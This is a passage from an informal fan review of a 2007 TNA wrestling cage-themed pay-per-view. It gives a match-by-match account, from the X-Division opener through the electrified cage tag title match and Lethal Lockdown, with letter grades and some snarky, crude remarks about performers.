Sharky vs. Shelley now and a neckbreaker gets two for the fish. Hurricanrana and a missile dropkick get two. Sabin and Shelley work together a bit more but Shark Boy easily takes care of both of them. To be fair the Guns weren’t a team in TNA yet but this would be their first date for lack of a better term. Sharky tries Diamond Dust but gets caught in a reverse DDT by Shelley. A double legdrop via the Guns take care of him and we’re down to four.

Lethal is in next to a big reaction. Lethal works over Alex but Sabin interferes again and Shelley hits a top rope jawbreaker to put Lethal down. Sabin goes over and blasts Dutt for no apparent reason. Not a nice guy. Sabin vs. Lethal now with Sabin firing off a rapid fire Garvin Stomp. The Guns hit some stuff that would become signature moves over the years. The fans love Shelley.

The Guns beat on Dutt as only they can. Off to Lethal and things speed up again. He fires off a ton of rights to Sabin but the Guns are too much for him. The sequence where they get Lethal on the mat with Shelley having him in a neckbreaker position so Sabin can hit a running dropkick gets two. Dutt tries a springboard double clothesline but slips off so he hits Shelley but the wrong side of him.

Dutt hits an Asai Moonsault press but the Guns are too much for him as Shelley hits a Stunner and crossface style hold. It’s a tag match now and the non-Guns have stereo submissions on. The ASCS Rush puts Lethal down and a wicked Cradle Shock gets rid of Dutt. Lethal hits Lethal Combinations on both guys and the top rope elbow gets us down to two. Now it’s just escape. Lethal takes over and they both climb. They get on the top and both climb down but Sabin gets a kick to knock him into the cage, allowing Chris to drop to the floor to retain.

Rating: B-. This was a very solid opener with the crowd getting way into the Guns. They would officially unite by the end of the month, starting off a multi-year run which is still technically going despite injuries. Lethal would get the title during the summer, holding it for a whopping two days! The Guns would somehow not win the tag titles until 2010.

Team Cage (world champion Christian Cage, Tomko, Steiner, AJ and Abyss) says they’ll win but Tomko and Abyss almost get into a fight. Christian points out that Team Angle arrived separately. They don’t like Jarrett, who is the last member of Team Angle. If any member of Team Cage gets the winning fall, they get a title shot. This turns into Steiner and Tomko arguing about Christmas.

We recap Roode vs. Young which is still going on. The idea is that Young signed a contract with Young after getting screwed by Miss Brooks. This would be probably the peak of Young’s popularity. Young talked about having a friend who would help him and Petey Williams started helping him. That’s not the friend, who would be revealed in a few weeks.

Petey Williams vs. Robert Roode

Roode is the rich dude still. Young is with Roode and gets yelled at before the match. Petey hammers away to start and controls early with speed and stomping. Springboard Codebreaker gets two. Williams does the Tree of Woe spot where he stands on Roode’s balls and sings O Canada. Roode manages to send him into the buckle to shift momentum and I remember why I never wanted to see him get a singles push.

Roode is just totally uninteresting at this point. If you think he’s boring now, today’s Roode has NOTHING on 07 Roode. A SICK clothesline puts Williams down and Eric is just kind of sitting there and doesn’t like what he’s seeing. Middle rope kneedrop gets two. Off to the chinlock. Petey makes a comeback and tries a crucifix for two but he eats cage to break that up. I don’t remember anyone else going into the cage all night until then.

Rock Bottom gets two. Brooks tries to send in a hockey stick but Young makes the save. Williams hits something that we miss as Brooks and Eric are fighting outside. Williams hits a rana back inside as the camera is from above the cage for some reason. The camera goes back to Young so AGAIN we miss whatever Petey uses for two. A dropkick doesn’t hit Roode but he goes into the corner anyway.

Despite that PAINFUL missing dropkick, Roode hits a spinebuster for two. The Canadian sitcom on the floor continues as Roode demands the hockey stick, but Petey hits a cool DDT for two. Now Petey asks for the stick and a few shots with it take Roode down. And Hebner intercepts it because we can’t have weapons in a cage or something. Rollup gets two for Williams. Destroyer is countered and the Payoff (PerfectPlex) ends this.

Rating: C. I kind of liked this actually. Young was wildly popular at this point which shows you how bad Roode was, considering even he couldn’t get over with Young out there. Roode was just so boring and uninteresting that he needed Beer Money or he would have had nothing else to do.

Roode shoves Young post match.

Angle goes to talk to Rhyno who isn’t happy. They have to change the order of entrance tonight. Rhyno doesn’t trust Jarrett but Joe REALLY doesn’t trust him, so Angle should go have this talk with Joe instead.

We recap Gail vs. Jackie. Does it really matter? There was something at Final Resolution, Jackie TALKED REALLY LOUDLY and since that’s the extent of what she does, there’s your story.

Jackie Moore vs. Gail Kim

Gail does look good in those little sky blue shorts. They start fighting on the ramp and Jackie takes over, sending Gail on top of the announce table. Gail gets water poured on her and they haven’t been in the cage yet even though the bell rang. Ok now they’re inside (with a nice view of Gail on the way in) and the fans do not seem to care. Gail goes to escape about 20 seconds after they’re in but Jackie continues to be annoying by making this continue.

Jackie takes over and I always wonder why she had a job. Either way, the American hits a German on the Canadian but Gail pops up anyway. They exchange worthless attempts to go up and Gail gets a sunset flip for one. I think Gail gets sent into the cage but it really wasn’t clear. Gail goes up and hits a dropkick and both of them are down. Kim gets up and goes for the door, resulting in a brawl on the apron with the door open. Gail slams it on Jackie’s face but stays in. Gail goes up and jumps off with a cross body (hitting Jackie square in the face. At least she couldn’t make Jackie any uglier) for the pin.

Rating: D. This was rather bad and not just because I can’t stand Jackie Moore. The cage slamming onto Jackie’s head did make me smile but anytime someone beats her up it’s a good thing. The cross body was bad looking, because that could have been a bad injury to either of them. Still though, bad match.

Bob Backlund, the referee for the next match, is insane and has long fingernails. He doesn’t say he’ll call it down the line.

Austin Starr vs. Senshi

No backstory to this, because I don’t think TNA can explain it either. This went on for awhile and there was something about Kevin Nash holding a tournament which turned into a talent show and the X-Division Title was involved somehow. It made no sense and I don’t think they knew what was going on with it. I say that about a lot of stories, but this was one of the stranger ones ever.

Starr is Austin Aries who is from TV Land. See what I mean by this story making no sense? Backlund tries to keep things civil and Senshi takes over with his high impact stuff. Senshi chops him a lot Starr takes over with a back rake and suplex for two. STO sets up the pendulum elbow for two. Powerbomb gets two and it’s off to a half crab. Some more back work eats up a minute or two.

Senshi comes back with kicks to take over. Starr gets backdropped into the cage and a Capo kick gets two. Austin takes over again because guys of this style don’t particularly care for selling. He hits a powerbomb kind of move out of the corner and uses the ropes for two. Backlund gets shoved into the ropes to crotch Senshi who was setting for the Warrior’s Way. 450 gets two. Starr shoves Backlund and Bob shoves him into a rollup for the pin.

Rating: C-. The match was fine, but I just don’t care about these guys. I have no idea what the point of it was and like I said, I doubt TNA did either. This was basically any match with these two in it that you would pick out of a pile. There were some decent spots, but it came and went and I don’t care. Just not my taste at all.

Joe yells about Angle not letting him know who the fifth man (Jarrett) was. Come find him if you want Kurt. The idea is no one trusts Jeff. He tells Jeff to please cross a line with him because Joe will kill him if he does.

We recap Storm vs. Harris. Storm broke a beer bottle over Harris’ eye so he might never be able to see again. The result: a blindfold match, probably because no one ever watched Wrestlemania 7.

Chris Harris vs. James Storm

They’re both under hoods so they can’t see. Now go have a cage match boys! The chant of Fire Russo starts up immediately. No contact in the first minute. Ninety seconds. Storm corners the referee at about a minute thirty five. Two minutes in and the literally pass with an inch between them. Two and a half and no contact at all. They touch at 2:37 but both miss punches so let’s try it again. Three minutes now and the fans say they want wrestling. They touch again at about 3:15 and Harris tries to go to the mat but that doesn’t work either so they stop again.

Bear in mind, when there’s no “action” going on, they’re just wandering around with their hands out trying to find each other. That’s it. That’s ALL that happens. Harris points to his head with an idea. Or is he saying put the bullet here because my career is over? Anyway he points around the ring and the crowd cheering tells him where to go. Four minutes in and Harris hits seven punches and they do it again.

They get some really basic offense in (as in a knee to the ribs is a high level move) and Harris punches Storm so hard the hood flies off. We get one of the loudest BORING chants I’ve ever heard as Storm slams him but Harris rolls away to avoid an elbow. This is literally almost spot for spot the same match as Roberts vs. Martel back in 1991. Storm’s hood comes off again (Hey Storm: you’re a heel. TAKE IT OFF AND CHEAT YOU IDIOT!) but that could be too interesting so it’s back to the crawling around.

Somehow Storm manages to hit a reverse tornado DDT for two. The crowd isn’t booing now. They’re just silent. Harris counters two more attempts at it and hits a cutter off the middle rope for two. That gets two and Storm tries to climb but Harris uses the crowd again to make a save. They fight on the top rope and Harris does something like a spear off the top for two. Harris loses his hood, hits a full nelson slam….and it gets two. Harris grabs the referee and tries a Sharpshooter on him for some reason. Storm FINALLY CHEATS, hitting the Last Call with the hood off for the pin.

Rating: S. As in Sacrifice. Watch their match at Sacrifice. It’s one of the best TNA matches I’ve ever seen whereas this was just horrible. The stipulation makes sense, but as usual it’s not something that they thought through. The match ran about ten minutes and probably eight and a half was them walking around. One of the worst matches ever, and that covers a lot. Meltzer said it was the worst match of the year and I can’t say I disagree.

Angle talks to Sting who isn’t thrilled with Jarrett either. Kurt checks to make sure they’re all on the same side and Sting says he’ll go with it, but he’ll take both of them out if Jarrett does something out of line.

Daniels does some creepy promo about his purpose or something like that. He has to sacrifice something or other.

Jerry Lynn vs. Christopher Daniels

Lynn jumps him as he comes in as I think this is old vs. new but they really aren’t that clear on it. Daniels gets beaten down quickly but hits a neck snap on the top to take over. Victory roll gets two for Lynn. A leg lariat puts Jerry down and the crowd is being all quiet again. To be fair they have to follow that nonsense from the previous match so it’s going to take a lot to get them back into anything.

Daniels grabs a cord from a camera to choke Jerry. The crowd is SILENT here. Tenay tries to pass it off as the fans are too confused by Daniels. Whatever makes you sleep better at night Mikey. Lynn starts a comeback and sends Daniels into the cage. Rana gets two. DDT gets the same. This match needs to end soon. Daniels backdrops him into the cage but Lynn gets a quick cradle piledriver attempt.

Release Rock Bottom looks to set up the BME but Lynn rolls out of the way. Facejam gets two. The crowd is trying to get into it but it’s really not happening. They both go up top and Daniels hits a Downward Spiral off the top. They exchange near falls and the fans suddenly think this is awesome. I’m not sure that’s what I’d say but whatever. They go up top again where Angels’ Wings and Cradle Piledriver attempts fail. Last Rites (Cross Rhodes) ends this back in the ring.

Rating: C. Yeah whatever. Anyone that has read one of my TNA reviews before knows I don’t care for Daniels and this is no exception. The match wasn’t bad but it was just a match. The lack of a story is really hurting things here because I don’t know why these two hate each other. That and the cage is getting old.

Team 3D says they’ll win their first titles in TNA. They have a WCW tag title and a WWF tag title each. It’s an electrified steel cage match against LAX. Bubba does the talking (of course) and says tonight they win their 20th tag titles.

Quick recap video for the tag title match. Basically it’s an electrified cage match because that’s how it is at the border. Konnan’s idea, not mine.

LAX says the violence goes up tonight. Konnan is in a wheelchair at this point.

Tag Titles: Team 3D vs. LAX

No Konnan to start. This gets big match intros as it’s basically the first of two main events. The lights are dimmed for this so it’s almost blue. Apparently the current going through the cage is only on in certain places at certain times. They don’t have to tag because when the cage is electrified, tagging is pretty stupid. Team 3D controls to start. This is a hard match to call because they’re moving around kind of strangely here, due to trying to avoid the cage. It’s not bad per se, but it’s not the most exciting thing in the world.

What’s Up hits and at least D-Von was very tentative about going up due to being next to the cage. LAX takes over and uses whatever cheating methods they can. D-Von is busted and Homicide’s hand touches the cage to give us the first electrocution in the match. I didn’t expect to have to write that. Hernandez is busted too. He goes up but D-Von manages to crotch him. Homicide is crotched as well and we get nearly stereo superplexes.

D-Von beats up Homicide, hitting a powerslam for two. Konnan has been wheeled out. Whoever wheeled him out beat down the outside referee and gave Konnan some rubber gloves. Hector Guerrero, the Spanish announcer, jumps that guy (we can’t see who he is) and stares down Konnan. Apparently the guy who wheeled Konnan out was trying to get the key to the door. Hector unlocked it and the door is open. It’s hard to tell what’s going on due to the light. Bubba yells at him to hand him an F’ing table.

The delay allows for LAX to get a quick takeover but Hernandez stops to yell at Hector, so Hector slams the door on his head. The double neckbreker gets two on SuperMex. Bubba Bomb gets two on Homicide. Samoan Drop gets two on D-Von. Top rope elbow gets the same. This has gotten a good deal better. HUGE layout powerbomb gets two on Homicide by Bubba.

We get the first big electrocution spot as Hernandez Border Tosses D-Von into the cage and he vibrates like a fish on a fish frying plate. He’s COVERED in blood, which would be more effective if you could see it. The fans aren’t that thrilled with this as they chant Fire Russo. A middle rope elbow gets two for Bubba. D-Von is apparently fine after the MASSIVE ELECTROCUTION as a Doomsday Device gets two.

The table gets loaded up and D-Von is placed onto it. Hernandez puts some rubber gloves on but takes forever to do it. He climbs to the top of the cage but since he took FOREVER, the splash through the table misses. Looked awesome though. The Dudleys take over on Homicide, throw him into the cage, botch a 3D off the cage and then hit the 3D for the pin and the titles.

Rating: D. Yes it was bad, but it wasn’t THAT bad. I mean, if you compare this to the blindfold match it’s a masterpiece. The cage stuff was stupid and I’m really not sure what the point of the lights was. Maybe the cage sucked too much electricity out? Anyway, not a horrible match but it was probably way too much for the payoff they got out of it.

Angle yells at JB for suggesting that calling Jarrett was an act of desperation. Team 3D’s music is still playing because they almost immediately cut away. That’s a running thing in TNA: it’s like they’re always running behind schedule.

We recap Lethal Lockdown, which is WarGames which I’m not going to explain again. Basically it’s Christian as champion and Angle wants it. Whoever gets the fall here, wins the title shot I believe. Also Jarrett is there because Angle couldn’t find anyone else. He was totally evil before he left for a few months, but Angle vouches for him. Abyss isn’t sure if he wants to be on Christian’s team but he was basically forced to due to a threat of violence against his mother. No one thought Angle had 5 guys but Sting and Jarrett showed up to fill out the team. No one trusts Jarrett other than Angle though.

Harley Race will be keeping the key.

Team Christian vs. Team Angle

Christian Cage, Tomko, AJ Styles, Abyss, Scott Steiner
Kurt Angle, Sting, Jeff Jarrett, Samoa Joe, Rhyno

Two people start for five minutes, Team Cage gets the advantage for two minutes, after everyone is in the roof with weapons lowers, first fall wins and gets a shot at Christian at Sacrifice. AJ vs. Angle to start. AJ is still kind of an idiot at this point. He tries to take it to the mat but Angle is like boy please. Pretty much just feeling each other out so far to start. Angle goes into something made of steel and AJ stomps away. Off to the chinlock as they’re saving energy for later in the match. Kurt pops off an Angle Slam out of nowhere as the clock runs down.

Abyss is out second and Angle is in trouble. Shock Treatment to Angle and things go really slowly. Remember that there are two minute periods from now on. With really nothing happening in that period, here’s Rhyno who has to pose on the ramp before going to help his partner. He cleans house for awhile and hits a clothesline to take Abyss down. Angle is back up now so it’s a bit more balanced. Tomko comes out to make it 3-2.

The drug addict goes after the guy with alcoholic tendencies and the bearded one wins. Rhyno is busted. Joe comes in third. A lot of these periods are just coming and going with nothing interesting happening at all. Joe beats up Abyss while everyone else is kind of standing around. Down goes Tomko but AJ gets in a shot. MuscleBuster puts AJ down and Tomko takes Rolling Germans. Abyss gets caught in Joe’s Clutch as Steiner comes in to make it 4-3.

Just like the rest of the periods, he beats up all of the partners and hits what he calls the Frankensteiner on Rhyno. Other than that it’s all belly to belly suplexes. Sting comes in to tie it up. Death Drop to Abyss, Splash to Steiner, Splash to Abyss, Splash to Tomko/Styles. AJ tries to climb but Joe chases him, resulting in a SIX MAN TOWER OF DOOM. Ok that was awesome. Deathlock to Steiner but Tomko breaks it up. Christian is the final member of his team to make it 5-4.

Chops don’t work on Sting so Christian gets beaten down. Does no one watch Flair matches? Sting beats up Christian for a few moments and puts the Deathlock on him. Here’s Jarrett to fire off dropkicks for everyone and a Stroke for AJ. The roof is lowered. Everyone stands up and it’s a five on five brawl, rendering the first 21 minutes of this match totally useless.

Jarrett gets a bat but throws it to Sting. Rhyno gets a garbage can in the same method. Total dominance at this point by Team Angle. AJ gets the bat and clubs everyone not named Angle. AJ goes up through a hole in the roof to the top of the cage for some reason. Angle follows him up and Mitchell gives Abyss bags of tacks. Race pops Mitchell for his efforts and the crowd really doesn’t seem to care about this match.

Rhyno gores Tomko through the door as AJ and Angle try not to die by falling off the top of the cage. AJ cracks Angle in the head with a chair and Rhyno goes to the floor also. Steiner goes outside too and Joe dives onto Tomko. There are only four left in the cage. Abyss lays out the tacks but can’t chokeslam Sting and Jarrett at the same time.

Christian takes a double chokeslam from Sting and Jarrett which is a cool visual. Black Hole Slam to Jarrett but not onto the tacks. Angle knocks AJ off the cage onto the people outside the cage. SCARY stuff there. Abyss pours the other bag of tacks into the guitar and since he loaded it up, it goes over his head and Jarrett lets Sting get the pin and the title shot.

Rating: B-. This was more or less every Lethal Lockdown match you’ll ever see: there are too many people in the ring, the periods don’t mean anything until the end, and the match is pretty dull until the last five minutes. Still though it’s fun and it does what it’s supposed to do, which is all you can really ask for.

Sting, Rhyno and Joe shake Jarrett’s hand but Angle walks away as the show ends.

Overall Rating: D. The show isn’t totally worthless and awful, but there’s a lot more bad than good on it. The worst two matches, the blindfold and electric matches, are by far the worst with the blindfold one being one of the worst I’ve ever seen. The pretty good main event doesn’t save it and by the time you’ve sat through two and a half hours of drek, the good opener is long forgotten. Not the worst show ever, but it’s certainly not worth watching.

 

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